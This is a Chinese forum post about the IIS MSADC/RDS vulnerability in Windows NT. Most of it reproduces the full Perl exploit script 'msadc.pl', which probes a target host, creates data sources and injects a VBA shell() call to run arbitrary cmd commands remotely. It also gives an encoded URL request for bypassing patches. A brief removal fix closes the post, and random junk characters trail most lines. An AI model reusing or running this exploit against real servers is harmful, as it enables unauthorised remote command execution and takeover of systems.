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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 2|nm> 4  
!nvwRQ  
涉及程序: st-{xC#N#  
Microsoft NT server 3SVGx< ,2  
HI.*xkBXl&  
描述: 2~4:rEPJ:  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 C/kf?:j  
pv_o4qEN  
详细: Q]ersA8 V>  
如果你没有时间读详细内容的话,就删除: G@]3EP  
c:\Program Files\Common Files\System\Msadc\msadcs.dll RRL{a6(?  
有关的安全问题就没有了。 /9`4f"  
++cS^ Lo  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 As:O|!F  
T5XXC1+  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 afm\Iv[*  
关于利用ODBC远程漏洞的描述,请参看: ~ao:9 ynY  
YpZB-9Krf  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  vy<W4  
iT]t`7R  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 fvu{(Tb  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;%tFi  
#:K=zV\  
这里不再论述。 =[B\50]  
>F/^y O  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: tl#sCf!c  
p3s i\Fm!  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (s};MdXIz  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Oa|c ?|+  
Ge^`f<f  
Et=Pr+Q{c  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Uh }PB3WZ  
#]` uH{  
#!perl |]\zlH"w  
# 6o't3Peh  
# MSADC/RDS 'usage' (aka exploit) script %M6 OLq!K  
# HDe\Oty_  
# by rain.forest.puppy O1c%XwMn^  
# fG0?"x@>  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me C}huU  
# beta test and find errors! rXx#<7`  
c(Q@5@1y:  
use Socket; use Getopt::Std; 0ho;L0Nr'  
getopts("e:vd:h:XR", \%args); 3>O|i2U  
o[Iu9.zJpy  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; %>KbaM1b  
e@D_0OZ  
if (!defined $args{h} && !defined $args{R}) { hD6BP  
print qq~ C'6I< YX  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ;[<(4v$  
-h <host> = host you want to scan (ip or domain) rN0<y4)!  
-d <seconds> = delay between calls, default 1 second nrac )W  
-X = dump Index Server path table, if available <PLAAh8  
-v = verbose )+ .=z  
-e = external dictionary file for step 5 Wjb_H (D  
YT(N][V  
Or a -R will resume a command session Yy*=@qu>g  
lQ 8hY$  
~; exit;} +O}Ik.w  
*X0>Ru[  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; HTQZIm  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &@iOB #H  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} +,e#uuj$p  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Hw \of  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} g~hMOI?KK^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } bzr2Zj{4  
" U\RN  
if (!defined $args{R}){ $ret = &has_msadc; \VpEUU6^U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} q G%Y& P  
hGtz[u#p  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "*d6E}wG  
. "cmd /c "; YR?Y:?(  
$in=<STDIN>; chomp $in; )qy?x7   
$command="cmd /c " . $in ; QjTSbHtH  
!se1W5ke#  
if (defined $args{R}) {&load; exit;} EI_-5TtRD  
"Zp&7hI  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; VLXA6+  
&try_btcustmr; |A&;m}(Mt  
^r~[ 3NT  
print "\nStep 2: Trying to make our own DSN..."; OZ&/&?!XE  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; X1#Ar)  
(*S<2HN5  
print "\nStep 3: Trying known DSNs..."; E)-;sFz  
&known_dsn; q?!HzZ  
M}8P _<,  
print "\nStep 4: Trying known .mdbs..."; j iKHx_9P  
&known_mdb; H^d?(Svh  
Rqe. =+Qs  
if (defined $args{e}){ &5W;E+Pub  
print "\nStep 5: Trying dictionary of DSN names..."; En\@d@j<u  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } e,%|sAs[  
p:08q B|uQ  
print "Sorry Charley...maybe next time?\n"; ~1O|4mssS  
exit; eoiz]L  
78l);/E{v  
############################################################################## p9"dm{  
JSL&` `  
sub sendraw { # ripped and modded from whisker $;^|]/-  
sleep($delay); # it's a DoS on the server! At least on mine... FX!KX/OE)  
my ($pstr)=@_; u@Hz7Q} P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || oJa}NH   
die("Socket problems\n"); <$s6?6P  
if(connect(S,pack "SnA4x8",2,80,$target)){ :E9pdx+  
select(S); $|=1; =Kj{wA O  
print $pstr; my @in=<S>; uE1;@Dm+  
select(STDOUT); close(S); u+8"W[ZULq  
return @in; %9cT#9!7  
} else { die("Can't connect...\n"); }}  }u8(7  
7r;1 6"  
############################################################################## v]EMJm6d|  
2"D4q(@  
sub make_header { # make the HTTP request L\#YFf  
my $msadc=<<EOT ny KfM5s_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 (.UU40:t  
User-Agent: ACTIVEDATA NtM>`5{?  
Host: $ip 3dN`Q:1R9  
Content-Length: $clen "qgwuWbM  
Connection: Keep-Alive !q&Td  
sU>IETo  
ADCClientVersion:01.06 Lg<h54X  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 4EM+Ye  
35l%iaj]G5  
--!ADM!ROX!YOUR!WORLD! }U8v ~wcd  
Content-Type: application/x-varg V/#Ra  
Content-Length: $reqlen dFBFXy  
NF0_D1Goi  
EOT t`B@01;8A  
; $msadc=~s/\n/\r\n/g; sSU|N;"Y  
return $msadc;} DKf(igw  
sJZ2e6?n  
############################################################################## P")I)> Q6  
Y#}qXXZ>]  
sub make_req { # make the RDS request $wAR cS  
my ($switch, $p1, $p2)=@_; u\Cf@}5(  
my $req=""; my $t1, $t2, $query, $dsn; U)G.Bst  
# >k|^*\  
if ($switch==1){ # this is the btcustmr.mdb query eA7 Iv{M  
$query="Select * from Customers where City=" . make_shell(); *;@wPT  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ?9t4>xKn  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} JlYZ\  
WkXgz6 P  
elsif ($switch==2){ # this is general make table query Gko"iO#  
$query="create table AZZ (B int, C varchar(10))"; t,r]22I,`  
$dsn="$p1";} <\O+  
P<IDb%W  
elsif ($switch==3){ # this is general exploit table query bkd`7(r  
$query="select * from AZZ where C=" . make_shell(); %rrA]\C'  
$dsn="$p1";} K T0t4XPM  
'4uu@?!dVk  
elsif ($switch==4){ # attempt to hork file info from index server t.8r~2(?  
$query="select path from scope()"; :&wb+tV  
$dsn="Provider=MSIDXS;";} d Gp7EB`  
]L~NYe9  
elsif ($switch==5){ # bad query nh4G;qdU  
$query="select"; ,gw9R9 x_  
$dsn="$p1";} Q3WI @4  
BP9#}{kE  
$t1= make_unicode($query); l$&~(YE f  
$t2= make_unicode($dsn); lQ?jdi  
$req = "\x02\x00\x03\x00"; "jAd.x?X7e  
$req.= "\x08\x00" . pack ("S1", length($t1)); FGi7KV=N  
$req.= "\x00\x00" . $t1 ; V<UChD)N`  
$req.= "\x08\x00" . pack ("S1", length($t2)); Mw0>p5+ cy  
$req.= "\x00\x00" . $t2 ; Nbr$G=U  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; V~/G,3:0y%  
return $req;} bVzi^R"  
],SQD3~9  
############################################################################## <kFLwF?PM'  
_;03R{e*  
sub make_shell { # this makes the shell() statement I6 ?(@,  
return "'|shell(\"$command\")|'";} #B5,k|"/,M  
R1H^CJ=v0  
############################################################################## aG]>{(~cL  
XY| y1L 3[  
sub make_unicode { # quick little function to convert to unicode _nqnO8^IG4  
my ($in)=@_; my $out; Y]SF0:v!n  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } T`!R ki%~  
return $out;} KZjh<sjX|  
zzZ EX  
############################################################################## &MSU<S?1  
\Sd8PGl*'  
sub rdo_success { # checks for RDO return success (this is kludge) ~snj92K  
my (@in) = @_; my $base=content_start(@in); gNEcE9y 2  
if($in[$base]=~/multipart\/mixed/){ %C_tBNE <  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} %(6IaqJ[  
return 0;} >IIq_6Z#  
_4N.]jr5  
############################################################################## 6&x\!+]F8  
cp@Fj"  
sub make_dsn { # this makes a DSN for us R->x_9y-R  
my @drives=("c","d","e","f"); {T-\BTh&Q  
print "\nMaking DSN: "; !ekByD  
foreach $drive (@drives) { 9InP2u\&:  
print "$drive: "; _<c"/B  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . B2[f1IMI  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Y2DL%'K^  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");  _BP%@o  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; t.ulG *  
return 0 if $2 eq "404"; # not found/doesn't exist W p)!G  
if($2 eq "200") { ;NA5G:eQ  
foreach $line (@results) { sYS 8]JU  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  Gk~aTO  
} return 0;} K(?V]Mxl6  
c6[m'cy  
############################################################################## rL-R-;Ca  
{}$rN@OM$  
sub verify_exists { ]Uwp\2Bc  
my ($page)=@_; Gt&yz"?D  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Ixn|BCi60A  
return $results[0];} >\1twd{u]  
[]A9j ?_w  
##############################################################################  [^ }$u[  
xq;>||B  
sub try_btcustmr { 3?B1oIHQ  
my @drives=("c","d","e","f"); [k$GUU,jY  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wG)e8,#  
G Uu8 N  
foreach $dir (@dirs) { Gt*<Awn8  
print "$dir -> "; # fun status so you can see progress 0G8@UJv6  
foreach $drive (@drives) { 0Ye/  
print "$drive: "; # ditto :Hq%y/  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; us.[wp'Sh  
$reqlenlen=length( "$reqlen" ); Tg^8a,Lt  
$clen= 206 + $reqlenlen + $reqlen; "9xJ},:-  
)"\= _E#  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); _-vlN  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} LhAN( [  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ]lA}5  
=-oP,$k  
############################################################################## g ba1R  
,u|>%@h  
sub odbc_error { h1q 3}-  
my (@in)=@_; my $base; :WWHEZK  
my $base = content_start(@in); 'ij+MU 1  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Z><+4 '  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3_@I E2dA  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; P\dfxR;8%  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9 5!xJdq  
return $in[$base+4].$in[$base+5].$in[$base+6];} OF*E1B M  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; imADjBR]  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 06HU6d ,  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} I0l3"5X a  
2XyyU}.$  
############################################################################## 8o:h/F  
]iTP5~8U  
sub verbose { " :e <a?  
my ($in)=@_; c@,1?q1bv  
return if !$verbose; c k[uvH   
print STDOUT "\n$in\n";} L__{U_p  
gGNo!'o  
############################################################################## R}(Rv3>Xx  
v"2A?  
sub save { KYkS ^v  
my ($p1, $p2, $p3, $p4)=@_; nEUH;z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {6LS$3}VM  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %d:cC:`  
close OUT;} 6-$95.Y2  
-^_^ByJe  
############################################################################## !*DY dqQ/  
<>5n;-  
sub load { iPCn-DoIS  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0 {d)f1  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); *B4OvHi)'  
@p=<IN>; close(IN); 2 .Xx)(>  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); "WY5Pzsi:  
$target= inet_aton($ip) || die("inet_aton problems"); ~d<&OL  
print "Resuming to $ip ..."; bOYM-\ {y  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Md9y:)P@Y  
if($p[1]==1) { Q-iBK*-w  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; - ]/=WAOK  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 2I suBX\[  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); uu-M7>+  
if (rdo_success(@results)){print "Success!\n";} 1e9~):C~W  
else { print "failed\n"; verbose(odbc_error(@results));}} 3 q8S  
elsif ($p[1]==3){ \0i0#Dt9  
if(run_query("$p[3]")){ SPe%9J+  
print "Success!\n";} else { print "failed\n"; }} Bvj  
elsif ($p[1]==4){ e~he#o[%a  
if(run_query($drvst . "$p[3]")){ #$ka.Pj  
print "Success!\n"; } else { print "failed\n"; }} .LM|@OeaD!  
exit;} K{Nj-Rqd  
-jNnx*  
############################################################################## N3Q .4? z9  
.i;?8?  
sub create_table {  `uDOIl  
my ($in)=@_; Ke[`zui@?  
$reqlen=length( make_req(2,$in,"") ) - 28; p")"t`k7  
$reqlenlen=length( "$reqlen" ); zk@s#_3ct  
$clen= 206 + $reqlenlen + $reqlen; < h|&7  
my @results=sendraw(make_header() . make_req(2,$in,"")); Q`O~f<a  
return 1 if rdo_success(@results); 4"nYxL"<4  
my $temp= odbc_error(@results); verbose($temp); ES(qu]CjI  
return 1 if $temp=~/Table 'AZZ' already exists/; J`; 9Z  
return 0;} Te3 ?z  
JS?%zj&@  
############################################################################## L[5U(`q[  
sA+K?_  
sub known_dsn { 3C;;z  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go D2Q0p(#%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", p? w^|V  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", WS@"8+re;  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Q7zpu/5?  
1=X1<@*  
foreach $dSn (@dsns) { 4UPxV"H  
print "."; |g !$TUS.  
next if (!is_access("DSN=$dSn")); g^#,!e  
if(create_table("DSN=$dSn")){ Gy6x.GX  
print "$dSn successful\n"; |~v2~   
if(run_query("DSN=$dSn")){ 2J)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4kK_S.&  
print "Something's borked. Use verbose next time\n";}}} print "\n";} zlkW-rRkR  
J{5p4bkb  
############################################################################## " w /Odd  
s gZlk9x!Q  
sub is_access { b`GKGqbJ  
my ($in)=@_; #op0|:/N  
$reqlen=length( make_req(5,$in,"") ) - 28; bx-:aC)]2  
$reqlenlen=length( "$reqlen" ); ExFz@6@  
$clen= 206 + $reqlenlen + $reqlen;  7?vj+1;  
my @results=sendraw(make_header() . make_req(5,$in,"")); u{sb^cmy  
my $temp= odbc_error(@results); _Db&f}.`  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); B <G,{k  
return 0;} (*T$:/zI S  
#oR@!?  
############################################################################## ^8dCFw.rU  
[4yw? U  
sub run_query { HRCnjem/v\  
my ($in)=@_; <<Z, 1{3F  
$reqlen=length( make_req(3,$in,"") ) - 28; ?O]RQXsZ2  
$reqlenlen=length( "$reqlen" ); 0<f.r~  
$clen= 206 + $reqlenlen + $reqlen; }Q6o#oZ  
my @results=sendraw(make_header() . make_req(3,$in,"")); Ue>{n{H"y  
return 1 if rdo_success(@results); 4#t-?5"  
my $temp= odbc_error(@results); verbose($temp); R`Hy0;X  
return 0;} Wn?),=WQ{  
5e?<x>e  
##############################################################################  &Du S*  
QTN'yd?WE  
sub known_mdb { {/,AMJ<:G]  
my @drives=("c","d","e","f","g"); 1FT3d  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $++O@C5  
my $dir, $drive, $mdb; p|BoEITL  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Tv 5J  
P>`|.@  
# this is sparse, because I don't know of many DhsvN&yNM  
my @sysmdbs=( "\\catroot\\icatalog.mdb", U9 mK^  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", K(WKx7Kky^  
"\\system32\\certmdb.mdb", ',rK\&lL6  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% (<e<Q~(  
v?%vB#A^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }-u%6KZ   
"\\cfusion\\cfapps\\forums\\forums_.mdb", Cbm^: _LR  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Imq-5To#  
"\\cfusion\\cfapps\\security\\realm_.mdb", 7QoMroR  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", q1ZZ T"'  
"\\cfusion\\database\\cfexamples.mdb", TgHUH>k  
"\\cfusion\\database\\cfsnippets.mdb", f"zmNG'  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", {2i8]Sp1d/  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  =+q\Jh  
"\\cfusion\\brighttiger\\database\\cleam.mdb", - leYR`P  
"\\cfusion\\database\\smpolicy.mdb", Mq'm TM  
"\\cfusion\\database\cypress.mdb", VYt<j<ba  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", #l7v|)9v  
"\\website\\cgi-win\\dbsample.mdb", cL~YQJYp  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", W,_2JqQp  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" uv^x  
); #these are just m - hZ5 i  
foreach $drive (@drives) { t*u#4I1  
foreach $dir (@dirs){ 1i'y0]f  
foreach $mdb (@sysmdbs) { Z_ Y'#5o#  
print "."; gFT lP  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ $J&c1  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Wcm8,?*  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ O}p<"3Ub  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Nd{U|k3pL  
} else { print "Something's borked. Use verbose next time\n"; }}}}} U=U5EdN;  
5O Y5b8  
foreach $drive (@drives) { IOY7w"|LW  
foreach $mdb (@mdbs) { Uqy/~n-v<  
print ".";  ,CuWQ'H  
if(create_table($drv . $drive . $dir . $mdb)){ DH.UJ +  
print "\n" . $drive . $dir . $mdb . " successful\n"; l=(( >^i  
if(run_query($drv . $drive . $dir . $mdb)){ &ODo7@v`1  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; \xv(&94U  
} else { print "Something's borked. Use verbose next time\n"; }}}} 3JkdPh  
} ecR)8^1 '  
Y:, rN  
############################################################################## c %Cbq0+2  
Au}l^&,zN  
sub hork_idx { g.vE%zKL  
print "\nAttempting to dump Index Server tables...\n"; 0Oc?:R'$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; mtn^+*  
$reqlen=length( make_req(4,"","") ) - 28; o)^ Wz  
$reqlenlen=length( "$reqlen" ); Y$]zba  
$clen= 206 + $reqlenlen + $reqlen; /kg#i&bP~  
my @results=sendraw2(make_header() . make_req(4,"","")); rDa{Ve  
if (rdo_success(@results)){ js@L%1r#L  
my $max=@results; my $c; my %d; "J=Cy@SSa  
for($c=19; $c<$max; $c++){ N'R^gL  
$results[$c]=~s/\x00//g; -)VjjKz]8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; &} `a"tYr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; .9PT)^2  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ?+^p$'5  
$d{"$1$2"}="";} &b}g.)RI  
foreach $c (keys %d){ print "$c\n"; } # #2'QNN  
} else {print "Index server doesn't seem to be installed.\n"; }} q!@!eC[b  
*4}NLUVX  
############################################################################## jy?*`q1]  
'xGhMgR;  
sub dsn_dict { Zis,%XY  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); #?jsC)  
while(<IN>){ tHZ"o!(S  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; KvPCb%!ZP  
next if (!is_access("DSN=$dSn")); s(3HZ>qx;  
if(create_table("DSN=$dSn")){ %oTBh*K'o  
print "$dSn successful\n"; PQ[?zNrSV  
if(run_query("DSN=$dSn")){ -bzlp7q*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { bS r"k  
print "Something's borked. Use verbose next time\n";}}} A@)Q-V8*9s  
print "\n"; close(IN);} i\ X3t5  
iBSg`"S^]C  
############################################################################## dB0#EJaE  
M-Efe_VRQc  
sub sendraw2 { # ripped and modded from whisker c]aU}[s1  
sleep($delay); # it's a DoS on the server! At least on mine... e8^/S^ =&d  
my ($pstr)=@_; tjb$MW$('  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o&Xp%}TI  
die("Socket problems\n"); XxS#~J?:_  
if(connect(S,pack "SnA4x8",2,80,$target)){ %bN{FKNN  
print "Connected. Getting data"; hQm=9gS  
open(OUT,">raw.out"); my @in; Sl, DZ!  
select(S); $|=1; print $pstr; o?>0WSLlm  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _uMG?Sbx  
close(OUT); select(STDOUT); close(S); return @in; l_Lz9k  
} else { die("Can't connect...\n"); }} jeRE(3'Q  
{\`tt c>  
############################################################################## =JzzrM|V*  
?j.a>{  
sub content_start { # this will take in the server headers yV:8>9wE8  
my (@in)=@_; my $c; ]A%3\)r  
for ($c=1;$c<500;$c++) { C78g|n{  
if($in[$c] =~/^\x0d\x0a/){ ="& GU%$  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 8p%0d`sX  
else { return $c+1; }}} cLf90|YFp  
return -1;} # it should never get here actually N'ER!=l)  
KqntOo} y)  
############################################################################## 6GunEYK!N8  
Ba m.B6-  
sub funky { it\$Pih]  
my (@in)=@_; my $error=odbc_error(@in); IdAh)#) 7  
if($error=~/ADO could not find the specified provider/){ x;u#ec4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Az:~|P  
exit;} >2{Y5__+e  
if($error=~/A Handler is required/){ oqF?9<Vgc,  
print "\nServer has custom handler filters (they most likely are patched)\n"; NgyEy n \  
exit;} hb3:,c(  
if($error=~/specified Handler has denied Access/){ cmXbkM  
print "\nServer has custom handler filters (they most likely are patched)\n"; V*\hGNV  
exit;}} -z`FKej   
m)p|NdTZc8  
############################################################################## ZDmL?mC  
i;^lh]u  
sub has_msadc { vK)'3%  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Nq`;\E.M  
my $base=content_start(@results); g]vB\5uA:  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Y`j$7!j  
return 0;} d9S/_iCI  
0QZT<Zs  
######################## pmB {b  
B N79\rt  
xS1n,gTA  
解决方案: Uyb0iQ-,s  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll r=n{3o+  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =|i_T%a  
3*</vo#`  
拿出来充数 哈哈
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